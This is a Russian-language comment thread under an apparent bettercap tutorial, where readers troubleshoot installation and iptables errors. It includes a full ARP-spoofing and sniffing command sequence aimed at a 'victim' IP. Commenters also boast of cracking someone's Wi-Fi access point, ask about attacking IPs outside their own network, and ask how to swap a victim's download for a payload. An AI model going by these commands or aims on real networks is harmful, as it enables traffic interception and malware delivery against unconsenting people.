    Привет. Извеняюсь что немного не по теме но у меня вопрос. Есть ли тут статья по управлению нетворк менеджер. Такая проблема. В общем сменил мак и название wan1 ломанул AP зашел посмотрел все че хотел. Отключился…. Но потом после рестарта нетворк менеджера эта собака подключаеться автоматически к ломаной сети с оригинальным маком! Что лешает меня анонимности..((( Это грустно и печально.  Как отключить в нетворк менеджер режим автоматического подключения к доступным вайфай точкам? Скажите пожалуйста уже всю голову поломал. 

    • Alexey:

      Про смену MAC в Network Manager, по каким правилам она работает и как настроить автоматическую смену в этой статье.

      Для отключения автоматического подключения к сети перейдите к её настройкам:

      И здесь на выбор – снять галочку с Подключаться автоматически, либо просто Забыть соединение:

      • Андрей:

        Благодарствую Сансей) Пойду разбираться.

      • Андрей:

        В Попугае немного не так как оказалось. Но направление вы мне дали верное. Спасибо.

        Тоже самое делаеться так.

        Вкладка Система - Параметры - интернет и сети - сетевые соединения.

        Но Управление Нетворк менеджер изучить надо тоже обязательно, много полезного) Спасибо. 

         

  7. Человек:

    Подскажите, что не так? 

     

    • Alexey:

      Всё так. Для проверки программа запускается с опцией -h  - на картинке справка по программе. Теперь для старта программы наберите 

      bettercap

      и дальше действуйте по инструкции.

      • Человек:

        Скажите, а так разве нормально работает. У меня после команды -h выдало ошибку ( если я правильно понял) если ето не ошибка… то команды в прямоугольнике правильно заданны.. ? почему тогда нет никакого движения?

         Извените за глупые вопросы, только начал оваивать Linux!

         

        • Alexey:

          Как я написал, там была справка по программе – именно это и ожидалось.

          Почитайте внимательно инструкцию – я начинаю с того, что смотрю, какие компьютеры с какими IP адресами присутствуют в сети. В том числе, видно, что присутствует компьютер с IP 192.168.0.90.

          Затем я привожу пример команд, которые я ввожу для атаки компьютера с IP 192.168.0.90.

          Т.е. для описываемого случая, для моей локальной сети команды правильные.

          Но в вашей сети у устройств могут быть другие IP адреса. И вам также нужно начинать с обзора сети. Т.е. программа не выдаёт ошибку и работает нормально. Но с точки зрения логики, ваши действия не верны. По логике нужно было бы посмотреть, кто есть в сети. А затем ввести указанные команды, но вместо моего IP, вписать IP одного из устройств в вашей сети.

  8. Человек:

    Всерамно, что то у меня не так… отсутствует файл "go" Хотя установка прошла успешно.

    Скажите, играет значения что трафик у меня проходит через ТОР?

    И еще, а можно отаковать конкретный iP не своей сети? 

  9. Человек:

    Взавтра сделаю откат и начну сначала!

  10. Человек:

    Скажите! При установке  Kali linux ( где загружаем дополнительное ПО через зеркало) незагружает, смена зеркал то же самое.  Пропустил этот параметр… при обновлении через терминал тоже не какого движения не происходит. Вчем причина? 

  11. Человек:

    Подскажите, какую команду нужно прописать для данной программы чтоб открывалась не из терминала а по значку. Эту статью прочитал, но что то не получаеться правильный путь прописать для запуска.

  12. Илья:

    Здравствуйте, при запуске http.proxy в командной строке выдает ошибку:

    ERROR for 'iptables [-P FORWARD ACCEPT]': exit status 1

    тоже самое и с https.proxy

    Kali linux установлен на Raspberry

    • Alexey:

      Приветствую! Какая-то проблема с iptables (программа для фильтра пакетов, файервол). bettercap только показывает, что попытка выполнить команду iptables окончилась неудачей. Попробуйте выяснить, в чём проблема iptables.

      Попробуйте выполнить ту самую команду, которая завершается ошибкой:

      sudo iptables -P FORWARD ACCEPT

      Посмотрите, что именно выводится — какая ошибка?

      Попробуйте ещё несколько команд, вызовут ли они ошибку:

      sudo iptables -L
      sudo iptables -L -t nat
      
  13. Аноним:

    sudo bettercap -iface wlan0
    net.probe on
    ticker.on
    net.show
    set arp.spoof.targets 192.168.0.104
    arp.spoof on
    set net.sniff.verbose false
    net.sniff on

    После этого у жертвы не грузятся страницы в браузере, но беттеркап запрос, например, Get показывает.

    В чём может быть проблемы?

     

  14. Ruslan:

    Alexey добрый день. Вы уже рни раз меня выручали, вот прошу еще раз помощи. Не могу установить bettercap 2.0 на Ubuntu 18.04. после ввода: go get github.com/bettercap/bettercap

    выдает : # pkg-config --cflags libusb-1.0
    Package libusb-1.0 was not found in the pkg-config search path.
    Perhaps you should add the directory containing `libusb-1.0.pc'
    to the PKG_CONFIG_PATH environment variable
    No package 'libusb-1.0' found
    pkg-config: exit status 1
    Что это может быть? Помогите пожалуйста!

  15. Кот:

    Алексей, огромное спасибо за ваш труд.

     

    Подскажите пожалуйста, у меня следующая проблема: bettercap 2 собран из исходников, дебиан 10. Пытаюсь запустить downloadautopwner. Убедился в том, что беттеркап корректно грузит каплет и джаваскрипт. Но результата - ноль.

     

    На атакуемом устройстве андроид при попытке скачать файл pdf с помощью termux и команды wget (для чистоты эксперимента, так сказать) вижу failed: Connection refused.

     

    Аналогичная картина и в браузере - не удалось подключиться.

     

    То бишь просто убивает подключение. Порты на машине с беттеркап открыты, форвардинг включен. Iptables сброшен.

     

    В связке с dns2proxy запущенной из терминала отдельно получилось перехватить и прочитать трафик того же андроида. Настройки в роутере выставлены на отсутствие защитных функций.

    Парни, подскажите, как подменить грёбаный файл на свою полезную нагрузку.

     

  16. Василий:

    Алексей привет.Вот такая проблема

    [09:06:54] [sys.log] [war] wifi could not set interface wlan1 txpower to 30, 'Set Tx Power' requests not supported
    [09:06:54] [sys.log] [err] error while activating handle: unknown activated error: -1
    192.168.1.0/24 > 192.168.1.53  »

    Что с ней делать,облазил google ,переустанавливал,ни чего не помогает,подскажите путь исправления.

    • Alexey:

      Приветствую, а что пытаетесь сделать, какая команда вызывает эту ошибку? Кроме этой команды остальное работает?

  17. Аноним:

    Привет,а можно ли использовать http.proxy на трафике локальной машины?То есть например ижекстить js в свой личный траффик с компа на котором запущен bettercap

     

Добавить комментарий для Alexey Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *